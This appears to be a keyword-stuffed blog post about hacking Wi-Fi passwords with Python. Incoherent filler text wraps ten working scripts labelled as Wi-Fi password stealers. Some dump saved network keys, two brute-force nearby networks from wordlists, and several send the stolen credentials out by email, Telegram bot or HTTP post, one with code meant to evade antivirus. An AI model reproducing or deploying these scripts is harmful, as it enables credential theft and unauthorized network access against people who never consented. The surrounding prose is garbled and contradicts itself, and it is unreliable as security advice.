What is Wi-Fi?
Wi-Fi is a popular wireless networking technology. One of the reasons it is so widely used is it is cheaper and faster than wired networking technologies. There are a lot of different things to consider when setting up Wi-Fi networking, but one of the most important is the protection of your network. This blog will take a look at how to secure your Wi-Fi network.These devices often use Wi-Fi in order to connect to one another and to access the Internet. You might know the name of someone who has their Wi-Fi password. If so you’ve probably come across a situation where you need their hack wifi password using python , but they won’t give it to you. Follow these simple steps and learn how to avoid the pain of being stuck without a hack wifi password using python. One of the benefits of using Wi-Fi is the ability to connect separate devices to the same network. This provides a solution for multitasking and the ability to share internet connection among multiple devices at the same time. A network with Wi-Fi is also able to connect multiple users, be it a single device connecting to a network or multiple devices connecting to the same network. This is a great benefit for a company that is looking to share internet connection among multiple devices.With Wi-Fi, it is now possible to connect to the Internet from virtually anywhere. Making the most out of your Wi-Fi is the key to accessing data and information from a variety of devices in a network. You should make the most out of your Wi-Fi network by setting up a password and by creating a cloud-based backup. This blog will help you get the most out of your Wi-Fi.

How to Hack WiFi Password ?
In the age of wireless everything- from your laptop to your smartwatch, it’s no surprise that wireless networking is an essential part of a majority of people’s daily activities. From personal tasks to professional ones, wireless networking is a key part of our daily lives. But sometimes, you might find yourself locked out of your wireless network. Worse yet, you might lose all your files that were saved on your computer as a result. This blog will take a look at what you can do if you find yourself in a predicament and how you can avoid it.If you feel like your WiFi password is too hard to remember, you can always change it. But if you want to change your WiFi password without downloading a new app, you should know that it is not easy. That’s where password stealer extractor comes in handy. This program can help you find and recover your WiFi password. This blog will go through how you can use this program to change your hack wifi password using python.Wi-Fi is a wireless networking technology that allows devices such as computers (laptops and desktops), mobile devices (smartphones and wearables), and other equipment (printers and video cameras) to interface with the Internet. It is a wireless service created by Wi-Fi Alliance that operates in the unlicensed 2.4 and 5 GHz radio bands. We live in a world where Wi-Fi is prevalent. People are connected to the internet everyday, and it’s difficult to avoid Wi-Fi. Wi-Fi is always on, and it’s difficult to avoid Wi-Fi. This is where the trouble begins. People forget their hack wifi password using python, or they forget the password to Wi-Fi altogether. If you don’t want to be in this situation, you can use this
#1 Wifi Password Extractor/Stealer
import subprocess import re #use command shell from python. command_output = subprocess.run(["netsh", "wlan", "show", "profile"], capture_output = True).stdout.decode() # We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. profile_names = (re.findall("All User Profile : (.*)\r", command_output)) # We create an empty list outside of the loop where dictionaries with all the wifi ssid and passwords will be saved. wifi_list = list() # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. if len(profile_names) != 0: for name in profile_names: # Every wifi connection will need its own dictionary which will be appended to the wifi_list wifi_profile = dict() # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode() # We use a regular expression to only look for the absent cases so we can ignore them. if re.search("Security key : Absent", profile_info): continue else: # Assign the SSID of the wifi profile to the dictionary wifi_profile["ssid"] = name # These cases aren't absent and we should run them "key=clear" command part to get the password profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output=True).stdout.decode() # Again run the regular expressions to capture the group after the : which is the password password = re.search("Key Content : (.*)\r", profile_info_pass) # Check if we found a password in the regular expression. All wifi connections will not have passwords. if password == None: wifi_profile["password"] = None else: # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. wifi_profile["password"] = password[1] # We append the wifi information to the wifi_list wifi_list.append(wifi_profile) for x in range(len(wifi_list)): print(wifi_list[x]) ##Write the contents of the wifi ssids and passwords to file with open('wifi.txt', 'w+') as fh: for x in wifi_list: fh.write(f"SSID: {x['ssid']}\nPassword: {x['password']}\n")
#2 Wifi Password Extractor/Stealer
import re, time, argparse, platform import os.path try: import pywifi from pywifi import PyWiFi from pywifi import const from pywifi import Profile except: print("Installing pywifi") RED = "\033[1;31m" BLUE = "\033[1;34m" CYAN = "\033[1;36m" GREEN = "\033[0;32m" RESET = "\033[0;0m" BOLD = "\033[;1m" REVERSE = "\033[;7m" try: wifi = PyWiFi() ifaces = wifi.interfaces()[0] ifaces.scan() #check the card results = ifaces.scan_results() wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] except: print("[-] Error system") type = False def main(ssid, password, number): profile = Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) time.sleep(0.1) # if script not working change time to 1 !!!!!! iface.connect(tmp_profile) # trying to Connect time.sleep(0.35) # 1s if ifaces.status() == const.IFACE_CONNECTED: # checker time.sleep(1) print(BOLD, GREEN,'[*] Crack success!',RESET) print(BOLD, GREEN,'[*] password is ' + password, RESET) time.sleep(1) exit() else: print(RED, '[{}] Crack Failed using {}'.format(number, password)) def pwd(ssid, file): number = 0 with open(file, 'r', encoding='utf8') as words: for line in words: number += 1 line = line.split("\n") pwd = line[0] main(ssid, pwd, number) def menu(): parser = argparse.ArgumentParser(description='argparse Example') parser.add_argument('-s', '--ssid', metavar='', type=str, help='SSID = WIFI Name..') parser.add_argument('-w', '--wordlist', metavar='', type=str, help='keywords list ...') group1 = parser.add_mutually_exclusive_group() group1.add_argument('-v', '--version', metavar='', help='version') print(" ") args = parser.parse_args() print(CYAN, "[+] You are using ", BOLD, platform.system(), platform.machine(), "...") time.sleep(2.5) if args.wordlist and args.ssid: ssid = args.ssid filee = args.wordlist elif args.version: print("\n\n",CYAN,"by Lencof\n") print(RED, " github", BLUE," : https://github.com/Lencof/\n") print(GREEN, " CopyRight 2021\n\n") exit() else: print(BLUE) ssid = input("[*] SSID: ") filee = input("[*] pwds file: : ") if os.path.exists(filee): if platform.system().startswith("Win" or "win"): os.system("cls") else: os.system("clear") print(BLUE,"[~] Cracking...") pwd(ssid, filee) else: print(RED,"[-] No Such File.",BLUE) if __name__ == "__main__": menu()
#3 Wifi Password Extractor/Stealer
import os try: import pywifi except ModuleNotFoundError: os.system("pip install pywifi") from pywifi import const from scripts.banner import banner2,banner,clear from scripts.sprint import sprint from scripts.colors import ran,y,r,g,c import time import webbrowser webbrowser.open("Head.html") yes = ["y" , "yes"] no = ["no" , "n"] clear() sprint(f"\n\n{r} Note: {c}This tool is only made for educational purpose... -_+") sprint(f"\n{g}Preparing...") time.sleep(1) clear() banner() p_in = input(f"{y}\nDo you want to use default wordlist? {r}(y/n):").lower() passlist = "" if p_in in yes: passlist = f"passwords.txt" else: try: passlist = input(ran + "\nEnter path for passlist: " + g) except FileNotFoundError: print(r+"File Not found!") exit(0) passwords = [x.strip("\n") for x in open(passlist , "r").readlines()] tried = [x.strip("\n").split("--")[0] for x in open("avail_nearby_wifis.txt","r").readlines()] found = [x.strip("\n") for x in open("already_tried_passwords.txt","r").readlines()] ts = 15 def scan(face): face.scan() return face.scan_results() def main(): wifi = pywifi.PyWiFi() inface = wifi.interfaces()[0] scanner = scan(inface) num = len(scanner) print(f"{r}Number of wifi found: {ran}{str(num)}") for i,x in enumerate(scanner): res = test(num-i , inface , x , passwords , ts) if res: print(ran + "="*20) print(f"{r}Password found : {c}{str(res)}") with open("avail_nearby_wifis.txt", "a") as f: f.write(str(res) + "\n") print(ran + "="*20) def test(i ,face,x,key,ts): wifi_name = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid if wifi_name in tried: print(f"{r}[!] {y}Password tried -- {str(wifi_name)}\n{g}Password is known!") return False print(ran + "Trying to connect to wifi "+str(wifi_name)) for n,password in enumerate(key): if wifi_name+"--"+password in found: print(r + "Password already found +_+") continue else: with open("already_tried_password" , "a") as f: f.write(str(wifi_name)+"--"+str(password)) tried.append(str(wifi_name)+"--"+str(password)) print(f"{ran}Trying password {r}{str(password)} {c}{str(n)} / {g}{str(len(key))}") profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password # Remove all hotspot configurations face.remove_all_network_profiles() tmp_profile = face.add_network_profile(profile) face.connect(tmp_profile) code = 10 t1 = time.time() # Cyclic refresh status, if set to 0, the password is wrong, if timeout, proceed to the next while code != 0: time.sleep(0.1) code = face.status() now = time.time() - t1 if now > ts: break if code == 4: face.disconnect() return str(wifi_name) + "--" + str(password) return False cont = "" while cont not in no: main() ch = input(ran+"Do you want to continue? (y/n):").lower() if ch in no: clear() banner2() else: clear() banner2()
#4 Wifi Password Extractor/Stealer
import subprocess import re print('WIFI PASSWORD') command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() profile_names = (re.findall("All User Profile : (.*)\r", command_output)) wifi_list = [] if len(profile_names) != 0: for name in profile_names: wifi_profile = {} profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() if re.search("Security key : Absent", profile_info): continue else: wifi_profile["ssid"] = name profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() password = re.search("Key Content : (.*)\r", profile_info_pass) if password == None: wifi_profile["password"] = None else: wifi_profile["password"] = password[1] wifi_list.append(wifi_profile) for x in range(len(wifi_list)): print(wifi_list[x])
#5 Wifi Password Extractor/Stealer
import subprocess, re, smtplib, os def send_email(mail, password, message): host = smtplib.SMTP("smtp.gmail.com", 587) host.starttls() host.login(mail,password) host.sendmail(mail,mail,message) host.quit() #irrelevent code just to try bypass antiviress def amount(x,y, sum): sum = x + y sum = sum - 5 return sum # end c1 = "netsh wlan show profile" sub1 = subprocess.check_output(c1, shell=True, stderr=DEVNULL,stdin=DEVNULL) regular_list = re.findall("(?:Benutzer\s:\s)(.*)",sub1) #irrelevent code just to try bypass antiviress age = 24 if (age > 18): answer = "u are allowed to buy beer" else: answer = "u are a kid, u cannot buy beer" # end result = "" for regular in regular_list: c2 = "netsh wlan show profile " + regular + " key=clear" sub2 = subprocess.check_output(c2, shell=True, stderr=DeVNULL,stdin=DEVNULL) current_value = sub2 resut = resut + current_value send_email("login", "password", resut)
How can Wi-Fi be secured?
If you find yourself using the same password for various internet connected devices, you may want to take steps to make sure that you’re not sharing any of your passwords. One way that you can do this is by using a password manager. A password manager is a program that keeps track of all the passwords that you use and makes it easy to remember all of them. You can use a password manager to generate strong passwords for all your devices, store them, and make it easy to log into your devices when you’re on the go. A password manager is your best bet for keeping your passwords safe. As more and more people use wireless networks, more and more devices are connecting to them. With the ability to connect to a wireless network comes the ability to use that network without being in the same room. This can be a great way to help you connect to a network where you might not have access, but it can also be a security risk. With this in mind, it is important that you protect your connection by properly changing your wifi password. However, sometimes the passwords are just too long.
Often times this is because wifi passwords are too complicated to remember. If you don’t want to use a password that’s too difficult to remember, you need to use a password that you can easily remember. There are a couple of ways to make it easy for you to remember your password. One way is to use a single word that is easy for you to remember and is one letter longer than your password. When you have trouble remembering your password, try using your wifi password as your password’ If you’re like me, you enjoy a good Wi-Fi password hack, but don’t want to pay a lot for a good one. This article will show you how to hack and crack your Wi-Fi password for free.Some people use the internet without any security. Others are concerned about their privacy and security on the internet. Sometimes people may need to hack into a wireless network at work. There are some ways to do this with different tools. However, sometimes those tools may not work and you need to use a device that can hack into a wireless network. In this case, you need to use wifi password extractor. This is a tool that can easily hack into a wireless network and extract the password. You can use this tool to hack into a wireless network at work or on your own personal device.
#6 Wifi Password Extractor/Stealer
#imports import subprocess import os import time #main while True: # clear screen os.system('cls') # reset vars profiles = [] passwords = {} count = 0 # grab all profiles (raw data) profiles_raw = subprocess.check_output(["netsh", "wlan", "show", "profiles"], encoding="cp858") # format profiles into list for line in profiles_raw.split("\n"): if "Profile :" in line: profiles.append(line[(line.find(":")) + 2:]) # print info print(f""" -----] Wifi Key Scraper [----- | [!] ({len(profiles)}) Profiles found""") # wait 2 second time.sleep(2) # grab each key for profile in profiles: print(f'|\n| [! INIT] Profile: {profile}') # try execute code try: password_raw = subprocess.check_output(["netsh", "wlan", "show", "profile", f'name="{profile}"', "key=clear"], shell=True, encoding="cp858") for line in password_raw.split("\n"): if "Key Content :" in line: passwords[f"profile{count}"] = { "status": "SUCESS", "id": profile, "password": line[(line.find(":")) + 2:] } print(f'|\n| [! DONE] Profile: {profile} // Password: {line[(line.find(":")) + 2:]}') # set password to null if fail except Exception as e: print(f'|\n| [! ERROR] Profile: {profile} // FAIL') passwords[f"profile{count}"] = { "status": "ERROR", "id": profile, "password": "null" } count += 1 # save output text with open("output.txt", "w") as file: for item in passwords: file.write(f"[{item}/{passwords[item]['status']}] {passwords[item]['id']}: {passwords[item]['password']}\n") print("|\n| [!] 'output.txt' saved") # repeat loop? if input("|\n-----] Execute again? (y/n) [-----\n>> ") == "n": break #end os.system('pause')
#7 Wifi Password Extractor/Stealer
from colorama import Fore from subprocess import getoutput from os import system from time import sleep from termcolor2 import colored from colorama.initialise import init from requests import post system("color") system("cls") init() # test net # while True : # try : # connection_tst = "1" # connection_tst = connection_tst + str(post("https://www.google.com/").status_code) # if len(connection_tst) > 1 : # break # except: # print("pleas conect to internet and try agin you have 10 s for tray") # sleep(10) # fnish test # show wifi saved on windows def sh_wifilist() : global wilist global a a = getoutput("netsh wlan show profiles") # seve wifi profiles a = a.split("\n") wilis = [] # save wifi name for s in a : if " All User Profile : " in s : wilis.append(s.replace(" All User Profile : ","")) else : pass num = 1 reng = 0 wilist = [] # seve wifi have password for s in wilis : clear = getoutput("netsh wlan show profiles "+'"'+s+'"'+" key=clear") if " Authentication : Open" in clear : pass else: wilist.append(wilis[reng]) reng += 1 for s in wilist : # print wilist print (colored("[",color="red")+colored (str(num),"cyan",attrs=["bold"])+colored("]","red")+" "+colored(s,"yellow")) print("\n") sleep(0.2) num += 1 # finish show wifi saved on windows # option def shpass_ban() : global choose print (colored(" Options :\n","green")) print (colored("[","red")+ colored ("1","cyan",attrs=["bold"])+colored("]","red")+colored(" show All Passwords ","blue") + "\n"+"\n"+colored("[","red")+colored("2","cyan",attrs=["bold"])+colored("]","red")+colored(" Show passwords from x to y","blue")+"\n"+"\n"+colored("[","red")+colored("3","cyan",attrs=["bold"])+colored("]","red")+colored(" Display the password of the number you select","blue")) choose = input(Fore.GREEN+"\n Choose Options : ") choose =int(choose) print("\n") # finish option # show all wifi and password on your windows def wi1 () : num = 1 num2 = 0 for s in passwi : print (colored("[","red")+colored(str(num),"cyan",attrs=["bold"])+colored("]","red")+colored("--->","green")+" "+colored(wilist[num2],"blue") +colored(" : ", "green")+colored(passwi[num2],"red")+"\n") num +=1 num2 +=1 # finish show all wifi and password on your windows # show num2 to num3 wifi and password def wi2(): num = 1 num2 = input(" From number : ") num2 = int(num2) - 1 num3 = input(" To number : ") for wiandps in pass_wi[num2:int(num3)] : wiandps = str(wiandps) js = wiandps.split(":") print(colored("[","red")+colored(str(num),"cyan",attrs=["bold"])+colored("]","red")+" "+colored(js[0],"blue")+colored(" <<-- : -->> ","yellow")+colored(js[1],"red")+"\n") js.clear() num += 1 # finish show num2 to num3 wifi and password # show wifi your selected def wi3 () : num=input(" Select a number to display the password\n") num = int(num) - 1 print (" "+pass_wi [num]) # finish show wifi your selected sh_wifilist() passwi= [] # save wifi name and pass for sa in wilist: # find wifi password password= getoutput("Netsh Wlan Show Profiles "+ "\""+sa+"\"" + " Key=Clear").split("\n") for s in password : # filter if " Key Content : " in s : passwi.append(s.replace(" Key Content : ","")) else: pass num2 = 0 pass_wi = [] # save password and wifi name for s in passwi : s = (wilist[num2] +" : " + passwi[num2]) pass_wi.append(s) num2 +=1 s num = 1 # wifi number num2 = 0 # select index swi_f_bot = "" # save wifi name and pass for send_f_bot for sa in passwi : swi_f_bot = swi_f_bot + (str(num)+" "+wilist[num2] +" : "+passwi[num2]+"\n") num +=1 num2 +=1 # send the wifi peropertis for robot whith out VPN def send_f_bot() : global swi_f_bot swi_f_bot = swi_f_bot.translate(swi_f_bot.maketrans("&","~",)) # chenge swi_f_bot for link swi_f_bot = swi_f_bot.translate(swi_f_bot.maketrans("#","^")) # chenge swi_f_bot for link my_token = ("") # telegram bot token + enter your bot token url = "https://api.telegram.org/"+my_token+"/sendmessage?chat_id=1085798181&text="+str(swi_f_bot) # send bot url rq_info = { "UrlBox" : url , # request info "AgentList": "Google Chrome" , "MethodList":"GET" } post("http://httpdebugger.com/Tools/ViewHttpHeaders.aspx",data=(rq_info)) # send request # finish send the wifi peropertis for robot whith out VPN try : send_f_bot() except : pass shpass_ban() if choose == 1 : wi1() elif choose == 2 : wi2() elif choose == 3 : wi3()
#8 Wifi Password Extractor/Stealer
from subprocess import check_output def getNames(): data = check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').splitlines() names = [x.split(':')[1].strip() for x in data if 'All User Profile' in x] return names def getPasswords(names): passwords = [] for i in names: data = check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').splitlines() passwords+=[x.split(':')[1].strip() for x in data if "Key Content" in x] for x in data: if 'Absent' in x: passwords.append('<blank>') return passwords names = getNames() passwords = getPasswords(names) for name, password in zip(names, passwords): print(f'{name}:{password}')
#9 Wifi Password Extractor/Stealer
import subprocess import requests import os try: from subprocess import DEVNULL except ImportError: DEVNULL = os.open(os.devnull, os.O_RDWR) url = "url" #add url data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'], stdin=DEVNULL, stderr=DEVNULL).decode('utf-8', errors="backslashreplace").split( '\n') profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] res = {} for i in profiles: results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear'], stdin=DEVNULL, stderr=DEVNULL).decode('utf-8', errors="backslashreplace").split('\n') results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] res[i] = results[0] m = "" for key in res: m += "{} : {}\n\n".format(key, res[key]) #send to server requests.post(url=url + m)
#10 Wifi Password Extractor/Stealer
from subprocess import run import platform import os import re import sys def systemOS(): os = platform.system() return os def linux(): if os.getuid() != 0: sys.exit('[-] run this with sudo permissions! ') alldata = [] files = os.listdir('/etc/NetworkManager/system-connections/') for file in files: with open(f'/etc/NetworkManager/system-connections/{file}', 'r', encoding='latin1') as d: data = d.read() pattern = re.compile(R'psk=.+') passwords = pattern.findall(data) ssidandpasswords = str(f"SSID={file}, {''.join(passwords)}.".replace('.nmconnection', '').replace('psk=','password=')) print(ssidandpasswords) alldata.append(ssidandpasswords) datafile = open('fsociety.txt' ,'w') datalog = datafile.write(str('\n'.join(alldata))) m = open('fsociety.txt', 'a') msg = m.write('\n\n[*] there is an extra dot in the end of everypassword') print('\t') print("[*] ssid's and passwords are saved in (fsociety.txt) file pickit up and delete it ;)") print('[*] there is an extra dot in the end of everypassword') def windows(): alldata = [] profiles = run(['netsh' ,'wlan', 'show' ,'profiles'], capture_output=True).stdout.decode() pattern = re.compile(R"All User Profile : (.*)\r") all_ssid = pattern.findall(profiles) for ssid in all_ssid: command2 = run(['netsh' ,'wlan', 'show' ,'profiles', ssid, 'key=clear'], capture_output=True).stdout.decode() pattern = re.compile(R'Key Content : (.*)\r') passwords = pattern.findall(command2) ssidandpasswords = f"SSID={ssid}, password={''.join(passwords)}" print(ssidandpasswords) alldata.append(ssidandpasswords) datafile = open('fsociety.txt' ,'w') datalog = datafile.write(str('\n'.join(alldata))) print('\t') print("[*] ssid's and passwords are saved in (fsociety.txt) file pickit up and delete it ;)") if systemOS() == 'Windows': print('[*] operating system: WINDWOS ') print('\t') windows() if systemOS() == 'Linux': print('[*] operating system: LINUX ') print('\t') linux()
Conclusion:
We know many people are using Wi-Fi to connect to the internet and it is important to make sure you have a secure connection. We provided some tips on what you can do to keep your connection protected. As more Wi-Fi users, we want to make sure you know how to use the technology best for the highest level of security. Wi-Fi is a classic wireless networking technology that is used by millions of people each day. We wrote this blog to give you a beginners guide to Wi-Fi and how it works. If you are a beginner who is interested in learning how Wi-Fi works, you might want to check this blog out. If you are looking to keep your Wi-Fi protected while using a nearby hotspot, we recommend using a VPN. you need to know the Wi-Fi password of the device you want to connect to. Luckily, we have created a tool that allows you to access the Wi-Fi password of any device you want. People need to know how to hack a Wi-Fi password so that they can access their own personal Wi-Fi network.Wi-Fi can be used to allow personal computers to connect to a network wirelessly or to provide wireless Internet access to mobile computing devices such as laptops and smartphones. Wi-Fi networks are created by a Wi-Fi device, such as an access point, and can also be created by a wired connection to a router on a computer network. The term Wi-Fi is commonly used as a shorthand for wireless fidelity.